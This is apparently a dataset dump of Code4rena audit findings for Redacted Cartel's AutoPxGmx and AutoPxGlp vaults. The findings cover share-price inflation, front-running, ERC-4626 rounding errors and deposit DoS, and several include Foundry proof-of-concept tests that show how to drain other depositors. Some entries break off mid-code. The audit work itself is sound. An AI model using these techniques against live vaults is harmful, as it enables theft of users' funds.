xanoutas/solidity-security-findings huggingface dataset:
`apxGMX` price can be inflated by first depositor
Audit: 2022-11-redactedcartel-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L397


# Vulnerability details

An early minter can break the `AutoPxGmx` `apxGMX` price, resulting in future depositors losing `GMX` upon withdrawal.

## Impact

Medium

## Proof Of Concept

`AutoPxGmx` is a `pxGMX` auto-compounding vault, allowing users to deposit `GMX` and `pxGMX` to compound `pxGMX` rewards into more `pxGMX`.

Users can deposit `GMX` by calling `depositGmx()`. The function computes the amount of `apxGMX` to be minted, and converts the `GMX` into `pxGMX`

```solidity
394: if (
395:             (shares = supply == 0
396:                 ? assets
397:                 : assets.mulDivDown(supply, totalAssets() - assets)) == 0
398:         ) revert ZeroShares();
```

The issue is that because of how the `apxGMX` amount is computed, an early minter can inflate the share price and steal `pxGMX` from future depositors:

- Alice calls `autoPxGmx.depositGmx(1, Alice)`, depositing 1 unit of `GMX`. She receives 1 `apxGMX`.
- Alice transfers `1e18 - 1` `pxGMX` to the vault using the `ERC20.transfer()` method.
- Bob calls `autoPxGmx.depositGmx(1.99999999e18, Bob)`.
- Because of Alice's transfer, `pxGMX.balanceOf(autoPxGmx) = 1e18`. So `shares = 1 * 1.9999 e18 / 1e18` rounds to 1: Bob receives 1 `apxGMX`: the same amount as Alice.
- Alice calls `autoPxGmx.redeem(1, Alice, Alice);` to redeem her `apxGMX`: because she owns half of the `apxGMX`, she will receive ~`1.5 * 1e18 pxGMX`, effectively stealing approximately 0.5 * 1e18 `pxGMX` from Bob.

Add this test to `AutoPxGmx.t.sol`, recreating the steps described above:

```solidity
function testBreakDepositGmx() external {
    address Alice = address(99);
    address Bob = address(100);
    uint256 amountAlice = 1e18 - 1;
    uint256 amountBob = 1.99999999e18;

    uint256 amount = 1e18;
    address receiver = address(this);
    uint256 depositFee = 10000;

    pirexGmx.setFee(PirexGmx.Fees.Deposit, depositFee);


    // @audit-Alice deposits 1 GMX in the autoPxGmx vault
    _mintApproveGmx(1, Alice, address(autoPxGmx), 1);
    vm.prank(Alice);
    autoPxGmx.depositGmx(1, Alice);

    assertTrue(1 == autoPxGmx.totalAssets());
    assertTrue(1 == autoPxGmx.totalSupply());
    // @audit-Alice received 1 share
    assertEq(1, autoPxGmx.balanceOf(Alice));

    // @audit-Alice deposits 1e18 - 1 pxGMX in the autoPxGmx vault
    _mintApproveGmx(amountAlice, Alice, address(pirexGmx), amountAlice);
    vm.prank(Alice);
    (,uint256 pxGMXAlice,) = pirexGmx.depositGmx(amountAlice, Alice);
    vm.prank(Alice);
    pxGmx.transfer(address(autoPxGmx), pxGMXAlice);

    // @audit-Bob deposits 1.999999e18 GMX in the autoPxGmx vault
    _mintApproveGmx(amountBob, Bob, address(autoPxGmx), amountBob);
    vm.prank(Bob);
    autoPxGmx.depositGmx(amountBob, Bob);
    
    // @audit-Bob only received 1 share
    assertEq(1, autoPxGmx.balanceOf(Bob));

    vm.prank(Alice);
    a
AutoPxGlp#compound () malicious attack can cause pxGmx to be locked
Audit: 2022-11-redactedcartel-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L264


# Vulnerability details

## Impact
AutoPxGlp uses rewardState to save the reward pxGmx. Malicious users can keep rewardState at 0, resulting in the inability to obtain pxGmx reward.

## Proof of Concept

AutoPxGlp calculates rewardState in method #compound (), and the process is as follows:
1.preClaimPxGmxAmount = pxGmx.balanceOf(address(this));

      At this time, suppose preClaimPxGmxAmount=500.

2.PirexRewards(rewardsModule).claim(pxGmx, address(AutoPxGlp));

     Let's say claim() comes back : 500.

3.pxGmxAmountOut = pxGmx.balanceOf(address(this)) - preClaimPxGmxAmount;

     Then pxGmxAmountOut=(500+500) - 500 = 500.

4._harvest(pxGmxAmountOut); (set rewardState+=pxGmxAmountOut)

     Then: rewardState increases by 500.

But the problem is the second step: pirexrewards (rewards module). Claim (PXGMX, Address (AutoPXGLP)); 
This method can be called by anyone if a malicious user keeps executing it (or front-run #compound ())

That will become

1.preClaimPxGmxAmount = pxGmx.balanceOf(address(this));

        At this time, preClaimPxGmxAmount=1000.    (more 500,because front-run)

2.PirexRewards(rewardsModule).claim(pxGmx, address(AutoPxGlp));
     
      At this time, claim() comes back 0. Because the malicious user frontrun #claim () , to step 1

3.pxGmxAmountOut = pxGmx.balanceOf(address(this)) - preClaimPxGmxAmount;

     Then pxGmxAmountOut=(1000+0)-1000 = 0

4._harvest(pxGmxAmountOut); (set rewardState+=pxGmxAmountOut)

Then: rewardState increases by 0.
Cause pxGmx to be locked in the contract



//anyone can call PirexRewards(rewardsModule).claim()
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexRewards.sol#L373-L375

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L230

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L264


## Tools Used

## Recommended Mitigation Steps

PreClaimPxGmxAmount is actually useless. Calculate the difference directly with rewardState.

```solidity
    function compound(
        uint256 minUsdg,
        uint256 minGlp,
        bool optOutIncentive
    )
...

        uint256 preClaimTotalAssets = asset.balanceOf(address(this));
-       uint256 preClaimPxGmxAmount = pxGmx.balanceOf(address(this));

        PirexRewards(rewardsModule).claim(asset, address(this));
        PirexRewards(rewardsModule).claim(pxGmx, address(this)); 
...

-       pxGmxAmountOut = pxGmx.balanceOf(address(this)) - preClaimPxGmxAmount;
+       pxGmxAmountOut = pxGmx.balanceOf(address(this)) - rewardState;

```
PreviewWithdraw () does not use round up according to ERC4626 standard.
Audit: 2022-11-redactedcartel-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L206


# Vulnerability details

## Impact
According to EIP-4626 standard, #previewWithdraw () should use rounds up to avoid fewer burn shares.

https://eips.ethereum.org/EIPS/eip-4626

"If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up."


## Proof of Concept
AutoPxGmx#previewWithdraw()

```solidity
    function previewWithdraw(uint256 assets)
        public
        view
        override
        returns (uint256)
    {

        uint256 shares = convertToShares(assets); //****@audit convertToShares use round down ***///
..   
    }


    function convertToShares(uint256 assets)
        public
        view
        virtual
        returns (uint256)
    {
        uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.

        return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets()); //****@audit use round down ***///
    }            
```

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L199-L206

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/PirexERC4626.sol#L175


## Tools Used

## Recommended Mitigation Steps

```solidity
    function previewWithdraw(uint256 assets)
        public
        view
        override
        returns (uint256)
    {

-       uint256 shares = convertToShares(assets); 
+       uint256 shares = super.previewWithdraw(assets);

..
Rounding down in Withdraw function cause widthraw of assets without reducing shares.
Audit: 2022-11-redactedcartel-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L206
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L323


# Vulnerability details

## Impact

Withdraw function calls `previewWidthraw(assets)` to calculate number of shares to redeem.
`previewWidthraw` calls `convertToShares(assets);` before subtracting withdrawal Fee.
convertToShares convert shares to assets by rounding down, it means that a user needs less shares to withdraw the same amount of underlaying token.

This is also stated in https://eips.ethereum.org/EIPS/eip-4626 "If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up."

For instance in case of widthrawing of no 1 asset this will be transferred without reducing user shares. 
This could be not convenient in real world due to gas fee, but a malicious user could find a tradeoff between amount to be withdrawn for each iteration and gas fees.


## Proof of Concept

To test try the following test in AutoPxGmx.t.sol
Sorry, the console2.log calls are a little bit messy.

    function testWithdrawOverflow() external {
            uint32 secondsElapsed = 1000;
            uint96 gmxAmount = 10e18;
            address[] memory receivers = new address[](testAccounts.length);
            uint256[] memory assetBalances = new uint256[](testAccounts.length);
            for (uint256 i; i < testAccounts.length; ++i) {
                receivers[i] = testAccounts[i];
            }
            (, , uint256[] memory shareBalances) = _provisionRewardState(
                gmxAmount,
                receivers,
                secondsElapsed
            );
            autoPxGmx.compound(autoPxGmx.poolFee(), 1, 0, true);
            // Store current redemption values before the first compound trigger
            for (uint256 i; i < testAccounts.length; ++i) {
                assetBalances[i] = autoPxGmx.previewRedeem(shareBalances[i]);
            }
            uint256 startBalancePxGmx = pxGmx.balanceOf(address(autoPxGmx));
            for (uint256 i; i < testAccounts.length; ++i) {
                uint256 initialShare = autoPxGmx.balanceOf(testAccounts[i]);
                uint256 startBalanceAccount = pxGmx.balanceOf(testAccounts[i]);
                assertEq(shareBalances[i], initialShare);
                uint256 initialSupply = autoPxGmx.totalSupply();           
                uint256 sharesFromWithdraw;
                // Redeem from the vault and assert the updated assets
                for(uint256 j; j <1e3; ++j) {
                    vm.prank(testAccounts[i]);
                    sharesFromWithdraw = autoPxGmx.withdraw(1,testAccounts[i],testAccounts[i]);
            }
            cons
Users may lost money due to griefing attack
Audit: 2022-11-redactedcartel-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L143
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L165


# Vulnerability details

## Impact
In your ``AutoPxGlp`` and ``AutoPxGmx`` you calculate ``totalAssets()`` as current contract ``asset`` balance:
```
    function totalAssets() public view override returns (uint256) {
        return asset.balanceOf(address(this));
    }
```

This value may be increased directly through token contract
And this value affects shares calculation

So there is a way to do griefing attack by frontrunning users ``deposit()`` calls, and users will receive less ``shares`` than they expected
So it will lead to users funds loss


## Proof of Concept
See comments in test below
There is a case when Bob instantly lost half of his deposit

```
function testFundsLosing() external {
        // 1. Alice deposits 10 pxGmx and receive 10 autoPxGmx
        uint256 aliceAssets = 10;
        address alice = address(this);

        _depositGmx(aliceAssets, alice);
        assertEq(pxGmx.totalSupply(), 10);

        pxGmx.approve(address(autoPxGmx), aliceAssets);
        autoPxGmx.deposit(aliceAssets, alice);
        assertEq(aliceAssets, autoPxGmx.totalAssets());
        assertEq(aliceAssets, autoPxGmx.balanceOf(alice));

        // She can withdraw her tokens at any moment
        uint256 redeemedAssets = autoPxGmx.previewRedeem(autoPxGmx.balanceOf(alice));
        assertEq(aliceAssets, redeemedAssets);
        
        // 2. Sid - is a blackhat and wants Bob to lose his money
        // He frontruns Bobs 'deposit' transaction
        // And transfer his pxGmx directrly to autoPxGmx contract
        uint256 sidAssets = 1000;
        address sid = testAccounts[2];
        _depositGmx(sidAssets, sid);
        vm.prank(sid);
        pxGmx.transfer(address(autoPxGmx), sidAssets);

        // 3. Bob wants to deposit 500 pxGmx
        uint256 bobAssets = 500;
        address bob = testAccounts[1];
        _depositGmx(bobAssets, bob);
        vm.prank(bob);
        pxGmx.approve(address(autoPxGmx), bobAssets);
        vm.prank(bob);
        autoPxGmx.deposit(bobAssets, bob);
        assertEq(bobAssets + aliceAssets + sidAssets, autoPxGmx.totalAssets());
        
        // Now Alice can redeem a lot of tokens
        redeemedAssets = autoPxGmx.previewRedeem(autoPxGmx.balanceOf(alice));
        assertEq(1046, redeemedAssets);

        // And Bob can redeem less tokens than he just deposited
        redeemedAssets = autoPxGmx.previewRedeem(autoPxGmx.balanceOf(bob));
        assertEq(419, redeemedAssets);
    }
```

## Tools Used

vs code

## Recommended Mitigation Steps

Now ``totalAssets()`` value may be increased outside your contract logic
It may lead to many other unpredictable hacks, not that one I described above
So it would be better, to calculate ``totalAssets`` by
A malicious early actor can cause a partial DoS for AutoPxGmx deposit and depositGmx by setting a minimum deposit amount.
Audit: 2022-11-redactedcartel-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L370-L403


# Vulnerability details

## Impact
A malicious early actor can set a minimum X amount for deposit . Therefore, the contract **AutoPxGmx** doesn't accept deposits from other depositers with amount less than X which can be determined by the actor.

## Proof of Concept

1 - Malicious actor user **A** deposits 1e18 pxGMX into **AutoPxGmx**.
	- neglecting the fees for simplicity, shares of **A** = assets of **A** = 1e18 since totalSupply is zero as this the first deposit (Check `depositGmx` function)
```sh

uint256 supply = totalSupply;

if (
    (shares = supply == 0
                ? assets
                : assets.mulDivDown(supply, totalAssets() - assets)) == 0
   ) revert ZeroShares();
```
	
2 - **A** sends 100e18 pxGMX to  **AutoPxGmx** contract (can buy it before from **PirexGmx** via depositGmx function).
	- totalSupply = 1e18
	- shares of **A** = 1e18 (still the same)
	- totalAssets = 1e18+100e18 = 101e18
	

3 - User **B** tries to deposit 90e18 pxGMX, following the logic in the code:

```sh

uint256 supply = totalSupply;

if (
    (shares = supply == 0
                ? assets
                : assets.mulDivDown(supply, totalAssets() - assets)) == 0
   ) revert ZeroShares();
```


shares = assets.mulDivDown(supply, totalAssets() - assets))
shares = 90e18 * 1e18 / (191e18-90e18) = 90e18 / 101e18 = 0 
since shares == 0, the deposit will revert.

Conclusion:
User **B** has to deposit at least 101e18 to satisfy the logic.
shares = 101e18 * 1e18 / (202e18-101e18) = 101e18 / 101e18 = 1


Notes:
1- If **A** sends a big amount of pxGMX, it will result in DoS and make it nearly impossible for others to deposit.
2- This applies to both `depositGmx` function and the  `deposit` function inherited from **PirexERC4626** contract.



## Tools Used

Manual review

## Recommended Mitigation Steps
 
The `totalAssets` function returns the actual contract balance of pxGMX as follows:

```sh
function totalAssets() public view override returns (uint256) {
        return asset.balanceOf(address(this));
    }
```
	
Keep track of the total assets in a state variable instead of relying on 'balanceOf' which can be affected externally .

Another option (not very convenient though) is to set a maximum for deposit. If the user wants to deposit more, then he/she has to do it in multiple transactions.
ERC-4626 Vault Has Rounding Issue
Audit: 2022-11-redactedcartel-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGlp.sol#L184


# Vulnerability details

### Impact

EIP4626 Rounding Specification (https://eips.ethereum.org/EIPS/eip-4626)
Thus, the result of the `previewMint` and `previewWithdraw` should be rounded up

```j
Finally, ERC-4626 Vault implementers should be aware of the need for specific, 
opposing rounding directions across the different mutable and view methods, as it is 
considered most secure to favor the Vault itself during calculations over its users:

  If (1) it’s calculating how many shares to issue to a user for a certain amount of the 
underlying tokens they provide or (2) it’s determining the amount of the underlying tokens 
to transfer to them for returning a certain amount of shares, it should round down.
  If (1) it’s calculating the amount of shares a user has to supply to receive a given 
amount of the underlying tokens or (2) it’s calculating the amount of underlying 
tokens a user has to provide to receive a certain amount of shares, it should round up.

```

The current implementation of `convertToShares` function will round down the number of shares returned due to how solidity handles Integer Division. ERC4626 expects the returned value of `convertToShares` to be rounded down. Thus, this function behaves as expected:

```solidity

src/vaults/PirexERC4626.sol:
  155  
  156:     function convertToShares(uint256 assets)
  157:         public
  158:         view
  159:         virtual
  160:         returns (uint256)
  161:     {
  162:         uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
  163: 
  164:         return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
  165:     }

```
ERC 4626 expects the result returned from `previewWithdraw` function to be rounded up. However, within the `previewWithdraw` function, it calls the `convertToShares` function

Recall earlier that the `convertToShares` function returned a rounded down value, thus `previewWithdraw` will return a rounded down value instead of round up value.
Thus, this function does not behave as expected

```solidity

src/vaults/AutoPxGmx.sol:
  200       */
  201:     function previewWithdraw(uint256 assets)
  202:         public
  203:         view
  204:         override
  205:         returns (uint256)
  206:     {
  207:         // Calculate shares based on the specified assets' proportion of the pool
  208:         uint256 shares = convertToShares(assets);
  209: 
  210:         // Save 1 SLOAD
  211:         uint256 _totalSupply = totalSupply;
  212: 
  213:         // Factor in additional shares to fulfill withdrawal if user is not the last to withdraw
  214:         return
  215:             (_totalSupply == 0 || _totalSupply - shares == 0)
  216:                 ? shares
  217:                 : (shares * FEE_DENOMINATOR) /
  218:                     (FEE_DENOMINATOR - withdrawalPenalty);
  219:     }

```
Rounding Issues In Certain Functions
Audit: 2022-11-redactedcartel-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/PirexERC4626.sol#L156
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L199


# Vulnerability details

## Background

Per EIP 4626's Security Considerations (https://eips.ethereum.org/EIPS/eip-4626)

> Finally, ERC-4626 Vault implementers should be aware of the need for specific, opposing rounding directions across the different mutable and view methods, as it is considered most secure to favor the Vault itself during calculations over its users:
>
> - If (1) it’s calculating how many shares to issue to a user for a certain amount of the underlying tokens they provide or (2) it’s determining the amount of the underlying tokens to transfer to them for returning a certain amount of shares, it should round *down*.
> - If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round *up*.

Thus, the result of the `previewMint` and `previewWithdraw` should be rounded up.

## Proof of Concept

> Note: This issue affects both the AutoPxGmx and AutoPxGlp vaults. Since the root cause is the same, the PoC of AutoPxGlp vault is omitted for brevity.

The current implementation of `convertToShares` function will round down the number of shares returned due to how solidity handles Integer Division. ERC4626 expects the returned value of `convertToShares` to be rounded down. Thus, this function behaves as expected.

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/PirexERC4626.sol#L156

```solidity
File: PirexERC4626.sol
156:     function convertToShares(uint256 assets)
157:         public
158:         view
159:         virtual
160:         returns (uint256)
161:     {
162:         uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
163: 
164:         return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
165:     }

```

ERC 4626 expects the result returned from `previewWithdraw` function to be rounded up. However, within the `previewWithdraw` function, it calls the `convertToShares` function. Recall earlier that the `convertToShares` function returned a rounded-down value. Thus the `previewWithdraw` function will return a rounded-down value instead of a round-up value. As such, this function does not behave as expected.

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L199

```solidity
File: AutoPxGmx.sol
199:     function previewWithdraw(uint256 assets)
200:         public
201:         view
202:         override
203:         returns (uint256)
204:     {
205:         // Calculate shares based on the